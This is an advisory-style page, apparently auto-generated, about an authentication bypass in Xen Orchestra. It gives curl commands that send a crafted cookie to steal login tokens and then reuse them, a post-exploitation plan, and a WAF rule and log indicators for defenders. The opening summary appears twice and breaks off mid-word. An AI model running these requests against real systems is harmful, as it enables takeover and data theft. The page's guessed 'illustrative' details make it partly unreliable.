CVE-2026-133469 — Vatesfr Xen-orchestra (< 6.9.2) — CWE-287 · CWE-1287
### Summary REST cookie parsing turns `authenticationToken=j:%7B%7D` into `{}`. REST authentication passes that object to the XO token provider without requiring a string. The token collection treats `{}` as an unfiltered lookup and returns its first token; the provider authenticates as that token's owner if it is unexpired. The authenticated `/rest/v0/users/me/authentication_tokens` route then returns reusable login token IDs. ### Details 1. In `packages/xo-server/src/api/session.mjs`, function `signIn(credentials)` has **no `params` schema** (unlike the deprecated `signInWithToken`, which declares `token: { type: 'string' }`), so `credentials.token` can be any JSON value. 2. `packages/xo-server/src/xo-mixins/authentication.mjs`, token provider: ```js this.registerAuthenticationProvider(async ({ token: tokenId }, { ip } = {}) => { if (!tokenId) return // {} is truthy → passes const token = await app.getAuthenticationToken(tokenId) ... return { bypassOtp: true, expiration: token.expiration, userId: token.user_id } ``` 3. `getAuthenticationToken(properties)` explicitly accepts an object, and `_getAuthenticationToken(id, properties)` does `this._tokens.first(properties ?? id)`. 4. `Collection#first(properties)` -> `_get(properties)`; in `collection/redis.mjs`, `if (isEmpty(properties)) return redis.sMembers(prefix + '_ids')…` → **all tokens**. Non-empty objects on indexed fields (`user_id`, `client_id`) do an index lookup → tok
### Summary REST cookie parsing turns `authenticationToken=j:%7B%7D` into `{}`. REST authentication passes that object to the XO token provider without requiring a string. The token collection treats `{}` as an unfiltered lookup and returns its first token; the provider authenticates as that token's owner if it is unexpired. The authenticated `/rest/v0/users/me/authentication_tokens` route then returns reusable login token IDs. ### Details 1. In `packages/xo-server/src/api/session.mjs`, function `signIn(credentials)` has **no `params` schema** (unlike the deprecated `signInWithToken`, which declares `token: { type: 'string' }`), so `credentials.token` can be any JSON value. 2. `packages/xo-server/src/xo-mixins/authentication.mjs`, token provider: ```js this.registerAuthenticationProvider(async ({ token: tokenId }, { ip } = {}) => { if (!tokenId) return // {} is truthy → passes const token = await app.getAuthenticationToken(tokenId) ... return { bypassOtp: true, expiration: token.expiration, userId: token.user_id } ``` 3. `getAuthenticationToken(properties)` explicitly accepts an object, and `_getAuthenticationToken(id, properties)` does `this._tokens.first(properties ?? id)`. 4. `Collection#first(properties)` -> `_get(properties)`; in `collection/redis.mjs`, `if (isEmpty(properties)) return redis.sMembers(prefix + '_ids')…` → **all tokens**. Non-empty objects on indexed fields (`user_id`, `client_id`) do an index lookup → tok
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-11-28
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑133469
Product: Xen Orchestra (XO) – versions < 6.9.2 and < 6.10.1
CWE‑IDs: CWE‑287 (Improper Authentication), CWE‑1287 (Improper Restriction of Authentication Token Scope)
Technical root‑cause
1. REST cookie parsing bug – XO accepts a cookie named authenticationToken.
The parser URL‑decodes the value and then runs JSON.parse() on the result.
When the cookie contains the string j:%7B%7D (URL‑encoded j:{}) the parser
produces an empty JavaScript object {} instead of a string token.
2. Missing type/format validation – The authentication subsystem expects a string
that represents a JWT‑like token. The code that forwards the parsed value to the
“XO token provider” does not verify that the value is a non‑empty string.
Consequently the empty object {} is passed unchanged.
3. Unfiltered token lookup – The token provider treats the supplied value as a
lookup key in its internal token store. Because {} is not a valid key, the
lookup routine falls back to “return the first token in the collection”.
The first token is typically the most recent, unexpired token belonging to the
first user in the store – often an administrator.
4. Unauthenticated token enumeration – After the provider returns that token,
the REST endpoint /rest/v0/users/me/authentication_tokens (which is supposed to
be reachable only by an already‑authenticated user) is executed **without any
additional authentication checks. It therefore returns the list of all
reusable login‑token IDs** belonging to the impersonated user.
The chain of missing checks (no type validation, no key‑validation, no additional
authz) lets an unauthenticated attacker obtain a valid authentication token for an
existing user, effectively bypassing authentication altogether.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are **syntactically
valid**; the exact URI path is taken from the CVE description. If a component
(e.g., a discovery endpoint) is not explicitly documented, the example is marked
as illustrative.
1. Discovery & Reconnaissance
| Goal | Technique | Example | |
|---|---|---|---|
| Identify that XO is in use and its version | Grab the public landing page or the /api/version endpoint (illustrative) | ``bash curl -s -i https://xo.example.com/ | grep -i "Xen Orchestra"` |
| Confirm vulnerable version | Parse the version string returned by the endpoint or the HTML footer | `bash curl -s https://xo.example.com/api/version` → {"version":"6.8.4"}` (‑ vulnerable) |
Note: If the version endpoint does not exist, an attacker can infer the version from theServerheader, public documentation, or by checking the JavaScript bundle (xo.js) for version comments.
2. Exploitation
Step 2.1 – Send the malformed authentication cookie
# The cookie value is URL‑encoded "j:{}"
curl -i -s \
-H "Cookie: authenticationToken=j:%7B%7D" \
https://xo.example.com/rest/v0/users/me/authentication_tokensWhat happens internally
authenticationToken=j:%7B%7D→ URL‑decode →j:{}→ JSON‑parse →{}(empty object){}is handed to the token provider → provider performs an unfiltered lookup → returns the first valid, unexpired token (e.g.a1b2c3d4‑admin‑token).
Step 2.2 – Capture the token returned by the endpoint
The response body (JSON) contains an array of token objects:
{
"authentication_tokens": [
{
"id": "a1b2c3d4‑admin‑token",
"user_id": "admin",
"expires_at": "2027-12-31T23:59:59Z",
"type": "login"
},
…
]
}The attacker extracts the id field (a1b2c3d4‑admin‑token) and uses it as a bearer token.
Step 2.3 – Use the stolen token to act as the compromised user
curl -i -s \
-H "Authorization: Bearer a1b2c3d4-admin-token" \
https://xo.example.com/rest/v0/hostsIf the stolen token belongs to an admin, the attacker now has full API access:
3. Post‑exploitation
| Objective | How the attacker proceeds |
|---|---|
| Maintain persistence | Create a new long‑lived token via POST /rest/v0/users/me/authentication_tokens (illustrative) and store it. |
| Privilege escalation (if the first token belongs to a non‑admin) | Enumerate all tokens, locate an admin token, repeat the same trick (the lookup always returns the *first* token, which may be the admin token; if not, the attacker can repeat the request after forcing token rotation). |
| Data exfiltration | Use the API to download VM images or backup files (GET /rest/v0/backups/<id>/download). |
| Lateral movement | With admin rights, the attacker can add new XO users, grant them SSH keys, or inject malicious scripts into the XO UI. |
Because the vulnerability is network‑accessible (AV:N), requires no prior authentication (PR:N) and no user interaction (UI:N), the entire chain can be executed automatically from the Internet.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – Complete compromise of all data accessible through XO (VM disks, backups, host configurations). | Attackers can read every VM image, export sensitive workloads, and harvest credentials stored in XO. |
| Integrity (I:H) | I:H – Full control over data and configuration. | An attacker can modify VM definitions, inject malicious code, change network settings, or alter backup schedules, leading to persistent compromise. |
| Availability (A:H) | A:H – Ability to disrupt services. | The attacker can delete VMs, shut down hosts, or corrupt backup archives, causing total service outage. |
Because the exploit works without authentication and can be automated, large‑scale Internet‑facing XO deployments are at risk of mass compromise, data theft, and ransomware‑style extortion.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
| All XO versions prior to 6.9.2 (for the 6.x branch) | 6.9.2 |
| All XO versions prior to 6.10.1 (for the 6.10 branch) | 6.10.1 |
Action: Immediately upgrade every XO instance to 6.9.2 or 6.10.1 (or later). Verify the version after upgrade via /api/version or the UI footer.
2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation Details |
|---|---|
| Block the malicious cookie value | Add a WAF/ModSecurity rule that rejects any request containing authenticationToken=j:%7B%7D (or any URL‑encoded empty JSON object). Example ModSecurity rule: <br><br>``SecRule REQUEST_HEADERS:Cookie "@rx authenticationToken=j:%7B%7D" "id:2026301,phase:1,deny,log,msg:'Block XO auth token parsing attack'"` |
| Enforce strict token format | In the XO reverse‑proxy (NGINX/Apache) add a map that only allows the cookie to contain a base‑64url string of length ≥ 20 characters. Example NGINX snippet: <br><br>`map $http_cookie $auth_token_ok { default 0; "~*authenticationToken=([A-Za-z0-9_-]{20,})" 1; }`<br>if ($auth_token_ok = 0) { return 400; } |
| Restrict access to the token‑enumeration endpoint | Require a valid CSRF header or a second factor for /rest/v0/users/me/authentication_tokens. This can be done by adding a custom middleware that checks X-XO-CSRF` header. |
| Rotate all existing authentication tokens | After applying the workaround, force all users to re‑authenticate (e.g., restart XO service or delete the token store file). This invalidates any token that may have been harvested. |
| Network segmentation | Place XO behind a VPN or restrict inbound traffic to a known set of management IPs. This reduces the attack surface from “any Internet host” to “trusted admin network”. |
3. Detection – What to look for in logs
| Log source | Indicator (IoC) |
|---|---|
| Web server access logs (NGINX/Apache) | Cookie: authenticationToken=j:%7B%7D <br>or any request where the authenticationToken cookie contains %7B%7D (URL‑encoded {}) |
| XO API logs (if enabled) | Calls to /rest/v0/users/me/authentication_tokens without a preceding successful login (no Authorization: Bearer <valid‑token> header) |
| Authentication provider logs | “Token lookup fallback to first token” or “Empty token object supplied” messages (if XO logs the parsing error). |
| SIEM correlation | Spike in GET /rest/v0/users/me/authentication_tokens from the same source IP combined with subsequent POST /rest/v0/... actions using the same IP within a short time window (≤ 30 s). |
| File system | Creation of new token files in XO’s data directory (/var/lib/xen-orchestra/authenticationTokens/*.json) with timestamps matching the attack window. |
Response: On detection, block the source IP, invalidate all tokens, and force a full XO restart.
⚠️ Urgency
Bottom line: The bug allows an unauthenticated attacker to hijack the first valid XO authentication token simply by sending a specially‑crafted cookie. Because the token grants unrestricted API access, exploitation leads to full system takeover. Upgrade to 6.9.2/6.10.1 without delay, and employ the suggested WAF rule and logging checks to detect any ongoing abuse.
[🤖 CVE Professor AI Security Engine]
FOFA Query